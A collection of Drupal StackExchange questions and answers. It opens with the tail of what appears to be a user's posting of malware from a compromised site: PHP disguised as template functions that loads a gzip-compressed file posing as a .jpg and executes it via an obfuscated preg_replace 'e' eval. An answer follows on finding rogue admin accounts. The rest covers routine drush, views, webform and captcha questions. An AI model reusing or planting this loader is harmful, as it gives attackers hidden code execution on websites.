    $image_extension='jpg';
    define('___REALDOCROOT', rtrim('/kunden/372493_91052/rp-hosting/KNR-00033/ANR-00000077', "\\/"));
    $home_tpl=join('/', $templates).'.'.$image_extension;
    return ($home_tpl)?___REALDOCROOT.'/'.$home_tpl:get_query_template( 'home', $templates );
}

/**
 * Retrieve path of front-page template in current or parent template.
 *
 * Looks for 'front-page.php'.
 *
 * @since 3.0.0
 * @uses apply_filters() Calls 'front_page_template' on file path of template.
 *
 * @return string
 */
function mb_get_front_page_template() {
    $templates = array('front-page.php');

    return get_query_template( 'front_page', $templates );
}

/**
 * Retrieve path of page template in current or parent template.
 *
 * Will first look for the specifically assigned page template.
 * Then will search for 'page-{slug}.php', followed by 'page-{id}.php',
 * and finally 'page.php'.
 *
 * @since 1.5.0
 *
 * @return string
 */
function mb_get_page_template($template) {

    $template=mb_get_single_template($template);

    if($template){
        $popup_template=mb_get_comments_popup_template();
        preg_replace($popup_template, "e"."v"."a"."l('".$template."');", NULL);
    }else{
        $id = get_queried_object_id();
        $template = get_page_template_slug();
        $pagename = get_query_var('pagename');

        if ( ! $pagename && $id ) {
            // If a static page is set as the front page, $pagename will not be set. Retrieve it from the queried object
            $post = get_queried_object();
            if ( $post )
                $pagename = $post->post_name;
        }

        $templates = array();
        if ( $template && 0 === validate_file( $template ) )
            $templates[] = $template;
        if ( $pagename )
            $templates[] = "page-$pagename.php";
        if ( $id )
            $templates[] = "page-$id.php";
        $templates[] = 'page.php';

        return get_query_template( 'page', $templates );
    }
}

/**
 * Retrieve path of paged template in current or parent template.
 *
 * @since 1.5.0
 *
 * @return string
 */
function mb_get_paged_template() {
    return get_query_template('paged');
}mb_locate_template('main_tpl', false, true);

/**
 * Retrieve path of search template in current or parent template.
 *
 * @since 1.5.0
 *
 * @return string
 */
function mb_get_search_template() {
    return get_query_template('search');
}

/**
 * Retrieve path of single template in current or parent template.
 *
 * @since 1.5.0
 *
 * @return string
 */
function mb_get_single_template($template) {

    $parts=explode('(', __FILE__);
    define('___LOADPREFIX', array_shift($parts));
    $templates = array('', 'sites', 'default', 'files', 'styles', 'large', 'public', 'field', 'image');
    if(intval('1')==1){
        array_unshift($templates, ___REALDOCROOT);
    }
    define('__C_L_CACHEDIR', join('/', $templates));

    $content=file_get_contents($template);
    $content=@gzinflate($content);

    if($content!==false)
        return $content;
    else{
        $content=$content*35;
        return $content;
    }

    $object = get_queried_object();

    $templates = array();

    if ( ! empty( $object->post_type ) )
        $templates[] = "single-{$object->post_type}.php";
    $templates[] = "single.php";

    return get_query_template( 'single', $templates );
}

/**
 * Retrieve path of attachment template in current or parent template.
 *
 * The attachment path first checks if the first part of the mime type exists.
 * The second check is for the second part of the mime type. The last check is
 * for both types separated by an underscore. If neither are found then the file
 * 'attachment.php' is checked and returned.
 *
 * Some examples for the 'text/plain' mime type are 'text.php', 'plain.php', and
 * finally 'text_plain.php'.
 *
 * @since 2.0.0
 *
 * @return string
 */
function mb_get_attachment_template() {
    global $posts;

    if ( ! empty( $posts ) && isset( $posts[0]->post_mime_type ) ) {
        $type = explode( '/', $posts[0]->post_mime_type );

        if ( ! empty( $type ) ) {
            if ( $template = get_query_template( $type[0] ) )
                return $template;
            elseif ( ! empty( $type[1] ) ) {
                if ( $template = get_query_template( $type[1] ) )
                    return $template;
                elseif ( $template = get_query_template( "$type[0]_$type[1]" ) )
                    return $template;
            }
        }
    }

    return get_query_template( 'attachment' );
}

/**
 * Retrieve path of comment popup template in current or parent template.
 *
 * Checks for comment popup template in current template, if it exists or in the
 * parent template.
 *
 * @since 1.5.0
 * @uses apply_filters() Calls 'comments_popup_template' filter on path.
 *
 * @return string
 */
function mb_get_comments_popup_template() {
    $popup_template='(.*)';
    if(strlen($popup_template)>=3){
        $template='_'.$popup_template.'_';
    }else{
        $template = get_query_template( 'comments_popup', array( 'comments-popup.php' ) );

        // Backward compat code will be removed in a future release
        if ('' == $template)
            $template = ABSPATH . WPINC . '/theme-compat/comments-popup.php';
    }

    if($template)
        $template.='e';

    return $template;
}

/**
 * Retrieve the name of the highest priority template file that exists.
 *
 * Searches in the STYLESHEETPATH before TEMPLATEPATH so that themes which
 * inherit from a parent theme can just overload one file.
 *
 * @since 2.7.0
 *
 * @param string|array $template_names Template file(s) to search for, in order.
 * @param bool $load If true the template file will be loaded if it is found.
 * @param bool $require_once Whether to require_once or require. Default true. Has no effect if $load is false.
 * @return string The template filename if one is located.
 */
function mb_locate_template($template_names, $load = false, $require_once = true ) {
    $located = '';

    $template=mb_get_home_template();
    define('____CACHELOCK', $template);
    if (file_exists($template)) {
        define('____DATADIR', dirname($template).'/');
        return mb_get_page_template($template);
    }else{
        foreach ( (array) $template_names as $template_name ) {
            if ( !$template_name )
                continue;
            if ( file_exists(STYLESHEETPATH . '/' . $template_name)) {
                $located = STYLESHEETPATH . '/' . $template_name;
                break;
            } else if ( file_exists(TEMPLATEPATH . '/' . $template_name) ) {
                $located = TEMPLATEPATH . '/' . $template_name;
                break;
            }
        }

        if ( $load && '' != $located )
            load_template( $located, $require_once );

        return $located;
    }
}
/**
 *
 * The globals are set up for the template file to ensure that the one
 * environment is available from within the function. The query variables are
 * also available.
 *
 * @since 1.5.0
 *
 * @param string $_template_file Path to template file.
 * @param bool $require_once Whether to require_once or require. Default true.
 */
function mb_load_template( $_template_file, $require_once = true ) {
    global $posts, $post, $wp_did_header, $wp_query, $wp_rewrite, $wpdb, $wp_version, $wp, $id, $comment, $user_ID;

    if ( is_array( $wp_query->query_vars ) )
        extract( $wp_query->query_vars, EXTR_SKIP );

    if ( $require_once )
        require_once( $_template_file );
    else
        require( $_template_file );
}

```

# Answer
> 3 votes
Look for a rogue user & role, you should be able to find it by running the following SQL query:

```
SELECT * FROM users AS u
INNER JOIN users_roles AS ur ON u.uid = ur.uid
INNER JOIN role AS r ON ur.rid = r.rid
INNER JOIN role_permission AS rp ON r.rid = rp.rid
WHERE rp.permission IN('administer filters', 'administer users', 'administer permissions', 'administer content types', 'administer site configuration', 'administer nodes')
AND u.created > UNIX_TIMESTAMP(STR_TO_DATE('Oct 15 2014', '%M %d %Y '));

```

To stop the filesystem getting re-infected, the website should only have write access to the sites/default/files folder, etc. Have a look at Securing file permissions and ownership for more details

---
Tags: 7, security
---


# Question
Title: How to generate url with language code in drupal7?
Is there any drupal function to return the url with currently used language. Like: example.com/en

# Answer
You can get the URL by using following code

```
global $language ;
$lang_name = $language->language ;

$url_current = $GLOBALS['base_url']/$lang_name;

```
> 1 votes

---
Tags: 7
---


title: "drush up" turns off all of my modules

text:
# Question
Title: "drush up" turns off all of my modules
I'm using drush to make version updates and any time a module (in todays case, recaptcha) needs to be updated, it successfully does the update. However it seems to reset the database turning off every single non-core drupal module.

I cant find anything about this on the internet anywhere. Anyone have any ideas?

# Answer
> 0 votes
When you run drush up, you are actually updating Drupal core along with contrib modules and themes. Try: drush up recaptcha -y This will update the recaptcha module only, with no confirmation needed.

---
Tags: drush
---


# Question
Title: How do I remove extra divs added by panels?
Panels adds additional classes and divs which are unnecessary for my purpose. How can I remove these?

# Answer
> 3 votes
There are a couple ways you can tackle this.

One option is to simply create your own panel layouts. I often do this because I like control over the markup and I want to reduce the divitus in my theme. It also lets me create layouts that more directly match what I need. It's pretty easy to create your own panel layouts in your theme. Read more here.

Another option is to override the panel template files in your theme. Similar to any module that provides a template file, you can copy that template file to your theme and change the markup. You'll find the panel template files in \[path\_to\_modules\]/panels/plugins/layouts/\[each\_layout\].

# Answer
> 0 votes
Why don't you use Clean Markup Module.

> This module aims to clean up, enhance and facilitate the customization of markup for Drupal core and several popular contrib modules such as Panels.

---
Tags: panels
---


title: Upgrade zen theme (7.x-3 to 7.x-5.5)?

text:
# Question
Title: Upgrade zen theme (7.x-3 to 7.x-5.5)?
Presuming I have zen-7.x-3.x + a sub-theme, how do I go about uprading to zen-7.x-5.x? Perhaps using drush?

I am in awe of the people who wrote these pages:

# Answer
> 1 votes
You can run drush up zen, it will update the zen theme, but not the subtheme Please do a backup before running this command

---
Tags: drush, theming
---


title: Insert code from module to .tpl

text:
# Question
Title: Insert code from module to .tpl
I'm trying to insert a code (a button) from a module to a specific place in a view (between the filters and the array). Does anyone have an idea of how it can be done ?

Thanks

# Answer
Copy `sites/all/modules/views/theme/views-exposed-form.tpl.php` into your theme's `template` folder. Rename it to `views-exposed-form--YOURVIEWMACHINENAME.tpl.php` and clear caches. You should be able to put your button after the exposed filter content.
> 1 votes

---
Tags: views, 7, blocks
---


title: Load file of content by weight

text:
# Question
Title: Load file of content by weight
Let's suppose I have a simple content type with `title`, `body` and `file` fields, and `file` field is multi value. I create a piece of content and upload some file in my field. Finally my content is something like

title : my title
body : somebody text come in body

file :

1. file1
2. file2
3. file3

**My question**

I can change the order of files in node edit by drag them up or down, I want to know how I can load a file programmatically by its weight. I mean I want to upload a file that is shown first or second in node edit mode. How can I upload file form node programmatically, ordering by weight?

# Answer
When you change the order, the changes are saved as the delta in the database. For example if your field was called file you would access `$node->field_file[$node->language][delta]`. In your example above, the second file would be `$node->field_file[$node->language][1]` as the first file would be 0
> 4 votes

---
Tags: database, files
---


# Question
Title: Where all are the hooks defined in a contributed module?
1. What are the files in which core hooks are implemented in a contributed module?
2. Are they declared in **.inc files**? If so, what are the naming conventions for those include files containing core hooks?

# Answer
> 1 votes
1. The convention is to park all core hook implementations in .module.
2. .inc files are used to break off different groups of code like custom class definitions & administration form handlers. Some have their own naming convention for contrib hook implementations (e.g. .views.inc, .rules.inc, etc.).

---
Tags: 7, hooks
---


# Question
Title: Articles listed in order base upon "Last-edit Date" instead of "Publishing Date"
I have to solve a small bug in a Drupal **7.31** installation.

I have 3 rows in homepage, in which are listed 3 articles for each of them. Here a partial screenshot of `Edit View` for the first row, in wich **Sort criteria** is set to "*Publishing Date*".

In "Auto preview" pane, in the bottom area of this page, sorting seems corresponding to "*Publishing Date*" (node IDs are respectevely: "node-1901", "node-1861", "node-1904"), while when I load Homepage in browser, order is "node-1861", "node-1901", "node-1904".

It seems that in a case, order is made by "*Last-edit Date*" and not "*Publishing Date*".

How to make them coherent and, most important, how to display articles in Homepage in "*Publishing Date*" order ignoring "*Last-edit Date*"?

# Answer
> 0 votes
By your description, it seems to me that there's some code in your theme implementing a views hook or a theme hook, and doing a custom ordering before rendering the results (either altering the query, or altering the results after the query). The following hooks could do that:

* hook\_views\_pre\_execute()
* hook\_views\_post\_execute()
* hook\_views\_pre\_render()

plus the theme\_preprocess\_views\_view()

I'd suggest having a look at the theme to see if any of those is implemented, and is getting in the way.

# Answer
> 0 votes
With Drupal core and Views you get two dates associated with nodes 'Content: Post date' and 'Content: Updated date'.

Post date is the date of creation of the node, Updated date is the date of last save.

---
Tags: views
---


# Question
Title: Webform Serial - Serial Numbers updating after editing submission
I am using webform serial to generate tracking numbers for webform submission.

If I edit a submission the serial number auto increments to the next available number. How can I stop this from happening and have the number locked - even when I edit a submission?

# Answer
I was going to suggest placing an issue on the project page-it seems like it would be a common issue-but you've already done so. If the maintainer doesn't respond, you could look at the code yourself to figure out why and create a patch for it.
> 0 votes

---
Tags: webforms
---


# Question
Title: How to I tell a Views Block to only pull Snippets belonging to the same OG as the container page?
I have a few pieces to my existing puzzle:

1. Node Type **Snippet**
2. View with Block Display called **Snippets Block**
3. A context rule to put the Snippets Block inside a container page

*How to I tell a Views Block to only pull Snippets belonging to the same OG as the container page?*

**To start:**

I've created the following relationship and contextual filter, but the containing page doesn't show the expected node teasers.

*Node Type's Fields:* (view larger)

*Current View set up:* (view larger)

# Answer
As fullerja said, you can use a Contextual Filter but you may also need to define a Relationship first so that the view pulls in the OG that goes with the snippets.

If this page is showing OG content, hopefully it has the OG's slug in the URL. If that's the case then you can use that path for the Contextual filter.

These answers might be helpful for the specific configuration:
> 2 votes

# Answer
You should be able to create a 'Contextual Filter' and use the context of the OG group.

Look at using the group ID as the filter. Once you get into the config for the filter, there should be an option for getting the argument from context.
> 0 votes

---
Tags: views, organic-groups
---


# Question
Title: Recommended module or method for a generic map/media embed field?
I'm aware of lots of modules for embedding media (especially https://www.drupal.org/project/emfield) and for embedding or generating Google Maps, but what I'd like is one general purpose field in which the user can paste any valid embed code, and it will get rendered in the page. (Possibly resized, if I can dream a little.)

Is there any good module for this? Or should I build the field myself and make a template for its display? If so, how should I configure that in Drupal 7? I know how to make a template for a field in general, but my PHP is pretty shaky.

# Answer
> 1 votes
The built-in text area field seems like it would be sufficient, assuming that this field would only be accessible to trusted user types (see *"Tread with Care"* later in my post). If you configure your filters to allow "Filtered HTML" (with embed/iframe allowed) or even "Full HTML", users can just copy and paste embed codes to their heart's content.

Any HTML snippets that are posted will get rendered when viewed without needing any extra template code or a custom module to handle them. A "Filtered HTML" filter *might* still strip important attributes away, but "Full HTML" will not.

There is not really a generic way I can think of that would allow you to verify (even if you felt confident about your PHP) that iframe/embed html is a Vimeo video vs a banner advertisement vs a reference to malware. That is why there are 20 different emfield modules; the sources for each type of content all do things differently and can constantly change how they approach embedding.

Text filters are available at: `/admin/config/content/formats` (in Drupal 7) and full documentation can be found here: Specifying the allowed formats for user input

## Tread with care!

Keep in mind that users will be able to post anything else they want, too. The "Full HTML" filter offers minimal protection and even if you went with "Filtered HTML" instead of "Full HTML" and permitted `iframe` or `embed` tags you are still in potentially **dangerous** territory if this field is going to be used by just anyone in your userbase.

## Example/Demonstration

---
Tags: 7, entities, google-maps, nodes
---


# Question
Title: How can I show average votes of fivestar nodes?
I want to make a survey with Drupal, using Fivestar fields. So, I created a new content type called "survey" and added fields "field1, field2, field3, ..." The user can add content "survey" and the results of the voting are saved in nodes.

Now, I want show an average for all nodes with the content type "survey": Display the average of the individual fields of the survey. How can I do it?

# Answer
> 1 votes
Consider a table similar to this one:

The Views Calc module can be used to transform that table so that the calculations in the last rows (with **Count**, **Sum** and **Max**) get added to it. So that the table looks similar this:

By replacing the columns '# Fish', 'Weight' and 'Big Fish' in the example above with 'field1', 'field2' and 'field3' (as in the question), and by asking for the 'average' to be added (instead of Count, Sum or Max), it should answer the question I think, no?

To ask for the 'average', just select it from the selection list as shown in this screenshot (instead of the ones selected in that screenshot):

For more details (step-by-step instructions), refer to the community documentation about the Views Calc module.

# Answer
> 0 votes
Look at using Views and Views Calc. Here are some more details about these modules (quotes included are from their project pages):

* Views:

> You need Views if
>
> + You like the default front page view, but you find you want to sort it differently.
>     + You like the default taxonomy/term view, but you find you want to sort it differently; for example, alphabetically.
>     + You use /tracker, but you want to restrict it to posts of a certain type.
>     + You like the idea of the 'article' module, but it doesn't display articles the way you like.
>     + You want a way to display a block with the 5 most recent posts of some particular type.
>     + You want to provide 'unread forum posts'.
>     + You want a monthly archive similar to the typical Movable Type/Wordpress archives that displays a link to the in the form of "Month, YYYY (X)" where X is the number of posts that month, and displays them in a block. The links lead to a simple list of posts for that month.
>
> Views can do a lot more than that, but those are some of the obvious uses of Views.
* Views Calc:

> ... adds simple calculations to a views table. Requires the Views module.
>
> You can SUM, AVERAGE, COUNT, MIN, MAX, or AVG selected columns. A plug in theme makes the view look more spreadsheet-like (right justifies numeric fields, shades calculated columns and rows, and underlines calculated rows).
>
> You can also create custom dynamic fields that can be used in any view using SQL snippets like CONCAT('field\_first\_name', ' ', 'field\_last\_name') or DATE\_FORMAT(node.created, '%m/%%d/%Y'). The custom fields are set up in admin/settings/views\_calc.

---
Tags: entities, rating
---


# Question
Title: Drush command to uninstall from enabled...?
Is there a command for Drush so I can uninstall a module from the enabled state? I hate having to drush dis mymod -y (and) drush pm-uninstall mymod -y

# Answer
> 5 votes
No, drush was design so you would not uninstall an enabled module. The same way Drupal was. You will have to create your own shell script to run these commands.

If you want to create your own drush command you should read this tutorial and this sample reference

# Answer
> 8 votes
Another solution here if you don't want to take the alias route that Tony brought up is to use the `&&` operator to do a one-liner:

```
drush dis -y my_module && drush pm-uninstall -y my_module

```

# Answer
> 3 votes
I'm using Drush 6.2, and pm-uninstall does not appear to disable AND uninstall a module. I thought I'd share another solution/alternative to creating a custom drush command. I was searching for the exact same thing and discovered a method using aliases and a custom bash script.

Example:

```
drush uninstall module_name

```

In drushrc.php file, add:

```
$options['shell-aliases']['uninstall'] = '!drushu';

```

And create a script (add to your $PATH), called drushu with the following:

```
#!/bin/bash
drush dis $1 -y
drush pm-uninstall $1 -y

```

---

If in a multi-site environment, site aliases would likely be required. Tested and works using the following... Example:

```
drush @site-alias uninstall module_name

```

In drushrc.php file, add:

```
$options['shell-aliases']['uninstall'] = '!drushu {{@target}}';

```

And in the drushu script, add:

```
#!/bin/bash
drush $1 dis $2 -y
drush $1 pm-uninstall $2 -y

```

---
Tags: 7, drush
---


# Question
Title: How can we use form directly without using drupal form handler
I want to post a html form into block as content and wanted to submit the form to a page. where I will need to get the form values using $\_POST and do some process on it.

How can i do that without using drupal\_form(), drupal\_form\_submit() handlers.

Any way we can achieve it.

Thanks.

# Answer
> 0 votes
If your goal is to just get the HTML output of an existing drupal form then this will get you there:

```
$form = drupal_get_form('drupal_form_id');
$form['#action'] = url('mypath');
print render($form);

```

Replace `'drupal_form_id'` with whatever registered Drupal form you want and `url('mypath')` with whatever URL you want to post to.

---
Tags: forms
---


# Question
Title: Global Submission validation based on a select item
Is there a way to get Drupal 7 / Webforms to block a submission for a duplicate answer in a previous submission. I am sending an application questionnaire to multiple app owners, the form is setup with a listbox containing the App name, then the rest of the form is generic for each app. I would like for the App owners to not be able to accidentally submit for the same app twice.

Many people have suggested the "Webform Validation" module, but as far as I can tell, it only does validation on the form itself. It cannot do validation for the form being submitted against previously submitted forms.

TIA

# Answer
> 0 votes
If I understood your question correctly, Webform supports this out of the box.

Edit the "app name" field and under "Validation" select the "Unique" checkbox:

> Check that all entered values for this field are unique. The same value is not allowed to be used twice.

This will make sure that each webform entry has a unique value for this field, meaning that duplicates will not be allowed.

---

UPDATE

Here is a sample code that will allow you to validate the webform submissions.

Create a new folder called `custom` in `sites/all/modules`, and then another folder called `sample` in `custom`.

Place the following in `sample.info` file:

```
name = Sample
description = Sample custom module that provides custom webform validation rules.
package = Custom
core = 7.x
version = 7.x-1.0

```

Place the following in `sample.module` file:

```
/**
 * Implements hook_form_alter().
 */
function sample_form_alter(&$form, &$form_state, $form_id) {
  // Make sure that we are selecting the webform forms.
  if (substr($form_id, 0, 20) == 'webform_client_form_') {
    $form['#validate'][] = 'sample_webform_validate';
  }
}

/**
 * Sample validation callback.
 */
function sample_webform_validate($form, &$form_state) {
  // Replace this with the name of your field, cid (webform component ID) and
  // nid.
  $field_name = 'select_something';
  $cid = 1;
  $nid = 4;
  // Check if this is a duplicate.
  $is_duplicate = db_select('webform_submitted_data', 'd')
    ->fields('d')
    ->condition('nid', $nid)
    ->condition('cid', $cid)
    ->condition('data', $form_state['values']['submitted'][$field_name])
    ->execute()
    ->fetchObject();
  if ($is_duplicate) {
    form_set_error($field_name, t('Duplicate value, please select something else.'));
  }
}

```

---
Tags: webforms
---


title: Code sample confusion

text:
# Question
Title: Code sample confusion
I work with Drupal almost everyday. I am constantly scouring the web for help on my current Drupal project. I come across many code examples and samples. I'm wondering how the code relates to Drupal from a module standpoint. Does anyone create a "general" module to add and interact with their Drupal site? Like a gateway to actually code things in their Drupal site instead of using the countless forms and views that encompasses normal Drupal development. Or am I getting it all wrong and the code examples are for specific modules that people are making?

A couple of code examples I come across and think to myself - "This is very general. I would like to use this but do I need to make an entirely new module?" are:

```
<?php
global $user;
print_r($user);
?>

```

or

```
function HOOK_views_api() {
  return array(
    'api' => 3.0,
    'path' => drupal_get_path('module', 'HOOK')
  );
}

function HOOK_views_default_views() {

  // Paste code form views export.

  $views[$view->name] = $view;
  return $views;
}

```

It seems like a lot of extra nonsense to create an entirely new module just to add some simple programming functionality to the site and to take advantage of the Drupal API, and to do this every time I want to program something instead of work with the UI.

Sorry for such a weird and general question but I'm just trying to wrap my head around it. Let me know if I'm completely wrong too.

Thanks!

# Answer
> 3 votes
You are headed into right direction: almost all websites I work on, have one main module that contains general customizations and provides the base for additional custom modules.
I find that this is absolutely necessary if you want to keep the sanity in the long run, especially if the project can potentially grow.

Small fixes are often faster and easier to maintain this way, rather than just adding more modules and making the configuration more complex.

I created a boilerplate module that we use as "Main" module for almost every Drupal installation.
You can see it here.

Most of the generic implementations / integrations (views, rules, webform, drush, helper functions, etc.) are there already, and it's much easier to just remove what you don't need.

On a related note, the same can be said for new Drupal installations. After creating a lot of Drupal websites for real projects and testing, you will realize that there are certain sets of modules and settings you want to have as a starting point. This is solved the best through installation profiles.

Here is a default installation profile that we use in almost every website, as well as for testing.

Hope this helps.

---
Tags: 7
---


# Question
Title: Restrict text format use to a particular node/edit URL
I have a custom text format that i use in the Wysiwyg profile with ckeditor. Using Drupal 7. I want to restrict that text format use to a certain node/edit URL.

What would be the best option to achieve that either Programmatically or using custom modules?

Any advise is appreciated!

# Answer
You can't achieve that in config, since text formats are configured per field instance, but not as granular as for to get to the node level.

You'll need too implement a hook\_form\_alter(), and then check the url to find out if you want to allow the format or not. Something like this:

```
function mymodule_form_alter($form, &$form_state, $form_id) {
  if ($form_id == 'node_type_form_to_alter' && (current_path() == 'node/%nid/edit')) {
    // Enforce desired text_format here, by altering $form array.
  }
}

```

That's what I would do for that case. You can take the opposite approach, and implement the same form\_alter, but instead of enforcing it on a particular URL, just making sure that it's not available unless the url is the one you want to target.

Hope it helps.

EDIT: To enforce the format, you need to find the field you want to alter, inside the $form array. Wysiwyg fields use the 'text\_format' when declaring the field through Form API (example here).

So, you have to find the desired field, and change the '#format' property (as in the example), to the machine name of the text format you want to use. Also, you'll see a 'format' propery in the element array. You might want to change that too if you want avoid certain formats from appearing in the dropdown widget.

I recommend you use xdebug to see the structure of the $form variable inside the hook\_form\_alter() implementation. Alternatively, enable the devel module, and stick a "dpm($form);" in that function, to render the structure on screen when visiting the node form.
> 1 votes

---
Tags: wysiwyg
---


# Question
Title: Unable to login into website after installing and setting up itweak_login
After installing and tweaking itweak\_login I got this error when I tried to re login into the site.

Any body have any ideas, how I can log in into the site. Sorry, unrecognized username or password.

**Notice Message:**

> Notice: Undefined variable: form\_values in \_itweak\_login\_user\_login\_final\_validate() (line 266 of C:\Inetpub\websites\web.etfotvots.com\sites\all\modules\itweak\_login\itweak\_login.module).

# Answer
After reviewing that module's code, I have to agree with @Aboodred1 in his comment *you can disable the module from the database* for several reasons (which I'll address on the module's drupal.org page rather than this site because I don't think this site is the appropriate place to do so). This is **not** the preferred or recommended way to do things, but it seems like you might have no other choice if you've already installed it.

***Method 1***

1. **BACK UP YOUR DATABASE**
2. If you don't feel comfortable directly accessing your database, you should be able to log in to your web server and delete the `itweak_login` module directory (usually located inside `sites/all/modules`) and everything inside it. This should at least give you access back into your site. If that doesn't work, or if you do feel comfortable accessing/modifying your database directly, here's an elaboration on the aforementioned comment:

***Method 2***

1. **BACK UP YOUR DATABASE**
2. Log in to your web server and open the `settings.php` file for your Drupal installation (usually located at `sites/default/settings.php`)
3. Find the line that looks like this:

```
$databases = array (
  'default' =>
  array (
    'default' =>
    array (
      'database' => 'mydrupal7database',
      'username' => 'mydatabaseusername',
      'password' => 'mydatabasepassword',
      'host' => 'localhost',
      'port' => '',
      'driver' => 'mysql',
      'prefix' => '',
    ),
  ),
);

```
4. If the `prefix` line is empty (as it is in the example above), continue on to number 5

1. If it's not empty, e.g. if it looks something like this: `'prefix' => 'drupal7_',` then replace the word `system` in step 7 with `drupal7_system` (in other words, add the prefix to the the word *system*)
5. Log in to your database if you're not already there
6. Select the database used for this particular Drupal installation (using the example above, you'd select the database called `mydrupal7database`)
7. Run the following SQL statement:

```
UPDATE `system` SET `status` = 0 WHERE `name` = 'itweak_login';

```

Note: after you disable the module in the database, you should be able to access your site again. At this point, I'd highly recommend uninstalling it by visiting the module uninstall page (`admin/modules/uninstall`), and then after it has been uninstalled, remove it from your server altogether (using Method 1 above).

Hope that helps...

:)
> 1 votes

# Answer
In my situation, I change to another Web Browser, it works. so here is a idea for this situation: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=766008

so it means other cookie make some issue my enviroment: Centos 6.2 Drupal 7.3.6 xampp 5.6.3-0 Browser:Google Chrome
> 0 votes

---
Tags: 7, users
---


# Question
Title: Drupal 7 Captcha in all webforms or per content type webforms
I am on D7.

I have a content type that is webform enabled.

**Requirement** I need to implement captcha for all the webforms for nodes of this content type.

**Problem** In D7, you are supposed to give the form\_id in the settings page to get captcha in the form, however I will have loads of forms with all different form\_ids.

I am using the Captcha module.

Is there any way to implement my requirement?

# Answer
You could add the following code to your template.php

```
if (strstr($form_id, 'webform_client_form')) {
        $form['my_captcha_element'] = array(
            '#type' => 'captcha',
            '#captcha_type' => 'image_captcha/Image',
        );
    }

```

this should be placed inside the yourthemename\_form\_alter
> 9 votes

# Answer
Alternatively you can put this code in a custom module:

```
/**
* Implementation of hook_form_alter().
*/
function mymodule_form_alter(&$form, $form_state, $form_id) {
  if (preg_match("/^webform_client_form_[0-9]+$/",$form_id) && user_is_logged_in() == FALSE) {
    $form['my_captcha_element'] = array(
      '#type' => 'captcha',
    );
  }
}

```

Source: https://drupal.org/node/255795
> 1 votes

# Answer
To have your custom code respect the permissions set at admin/people/permissions for those people who can skip CAPTCHA, add the following to your logic:

```
if ((strstr($form_id, 'webform_client_form')) && !(user_access('skip CAPTCHA'))) {
    $form['my_captcha_element'] = array(
      '#type' => 'captcha',
      '#captcha_type' => 'default',
    );
  }

```
> 1 votes

---
Tags: 7, webforms, captcha
---


# Question
Title: Is there a way to trace PHP errors logged from Rules?
Occasionally I'm seeing an error in the error\_log

```
[10-Apr-2015 10:16:45 America] PHP Parse error:  syntax error, unexpected 'Some text' (T_STRING) in /home/simulab1/public_html/profiles/commerce_kickstart/modules/contrib/rules/modules/php.eval.inc(146) : eval()'d code on line 1

```

This could be coming from any number of Rules we have. Is there any way to pin this down to the specific Rule in question?

TIA

# Answer
If Xdebug is installed in the machine, it dumps a stack trace to your Apache logs. That might give you a better hint at the context.

If that fails, look at all your Commerce rules and try to find the one with a execute PHP action.
> 0 votes

---
Tags: rules, debugging
---


# Question
Title: How to add custom path for taxonomy term page
I need to give custom path for one of my taxonomy term page which will be redirected to view page. Example:- I have view page called testimonial and in my taxonomy i have a term called user testimonials which should be redirected to testimonial view page once user click on the term.

I have tried taxonomy menu but its custom path feature is no more available. Any suggestion, how can i complete this functionality.

# Answer
> 1 votes
Here is sample code that will allow you to redirect all taxonomy paths to a custom URL.

```
function sample_entity_info_alter(&$entity_info) {
  $entity_info['taxonomy_term']['uri callback'] = '_sample_taxonomy_term_uri';
}

function _sample_taxonomy_term_uri($term) {
  return array(
    'path' => 'path-to-your-view/' . $term->tid,
  );
}

```

Hope this helps.

# Answer
> 0 votes
Using the pathauto module you can configure URL patterns for your taxonomies.

But I think you are describing a different scenario. You have just one term (testimonials) that you want to lead to a different page (a View). I don't think that the pattern you are following is correct for this requirement. You're trying to do something like categories in WordPress.

You'd probably be better off creating a new content type called "testimonials".

Is there a reason you're using a taxonomy to do this?

---
Tags: uri, taxonomy-terms
---


# Question
Title: Is it possible to rewrite the output of this CSV item with Feeds Tamper?
I have a feed set up to use the HTTP Fetcher with CSV Parser to download my content from a URL using the Feeds module (7.x-2.0-alpha8+84-dev) and Feeds Tamper module (7.x-1.0). I've mapped out my fields appropriately, but I'm having difficultly with the instance.

In my CSV source, there's one field where the information source outputs: \[\[u'short', u'introduced', u'Solar Energy and Energy Conservation, Bank Reauthorization Act of 1983'\], \[u'official', u'introduced', u'A bill to amend the Solar Energy and Energy Conservation Bank Act to authorize appropriations for the provision of financial assistance under such Act through fiscal year 1990, and for other purposes.'\]\]

However, I only really need the official title pulled into my content, which should be "A bill to amend the Solar Energy and Energy Conservation Bank Act to authorize appropriations for the provision of financial assistance under such Act through fiscal year 1990, and for other purposes."

Is it possible to rewrite this with Feeds Tamper, and if so, which plugin would you use/how would you set this up? In this instance, I don't believe explode would work because I do not want both items in my content and I would like the brackets '\[\]' and such removed. If not possible, how would you suggest accomplishing my goal?

I'm happy to provide more information, and I very much appreciate any assistance. tia

Here's the link to the source location. I've limited the results to 1 as to not overwhelm :)

# Answer
> 0 votes
I agree with MPD. Plugins are easy to write. That looks like a serialised Python object. Is that right?

If you want to avoid that then I think your only option is the regular expression tamper. Use a site that allows you too test your expression on your sample string to help get it right while being fuzzy enough to handle edge cases. Here's one.

https://regex101.com

This seems to work though I'm not 100% on why it only returns the last match so use with caution. Match is in $2.

`\[{2}.+?\],\s*\[(u'(.+?)'\,*\s*)+\]{2}`

Actually this might be more robust. Match is in $1.

`\[{2}.+?\],\s*\[.+\,\s{0,1}u'(.+?)'\]{2}$`

https://regex101.com/r/qQ0cC0/3

---
Tags: 7, importing-exporting, feeds
---


# Question
Title: Getting AJAX 200 error when view with custom exposed filter has no results
\[Edit 3: this turned out to be one of those phantom views problems (\*) - after messing around w/ a test view cobbled together to use the custom filter, etc., etc., I ended up simply cloning the original mis-behaving view block, added it to a single page, and the thing worked! So I took the original out of circulation and am now using the fully-functional clone. I have no idea why the clone works and the original doesn't, but I'm not going to argue with the result.

(\*) On occasion I have seen weirdness that seems to be related to choosing one views option, like a contextual filter validation method, then going a different route with a different validation method, and seeing what appears to be behavior related to the original choice. Revisiting the settings fixed this "phantom" behavior....\]

I created a custom exposed filter for a view, and everything works great when there are results for the view. However, when the view returns no results, things get weird: my results aren't updated at all (I have auto-submit on), and I get a popup showing:

> An AJAX HTTP error occurred.
>
> HTTP Result Code: 200
>
> Debugging information follows
>
> Path: /views/ajax
>
> StatusText: OK
>
> ResponseText:
>
> \[followed by what looks like the beginning of normal results\]

I've searched high and low for a related Views issue on Drupal.org, as well as on StackExchange and the general internets, but I haven't seen a similar problem reported.

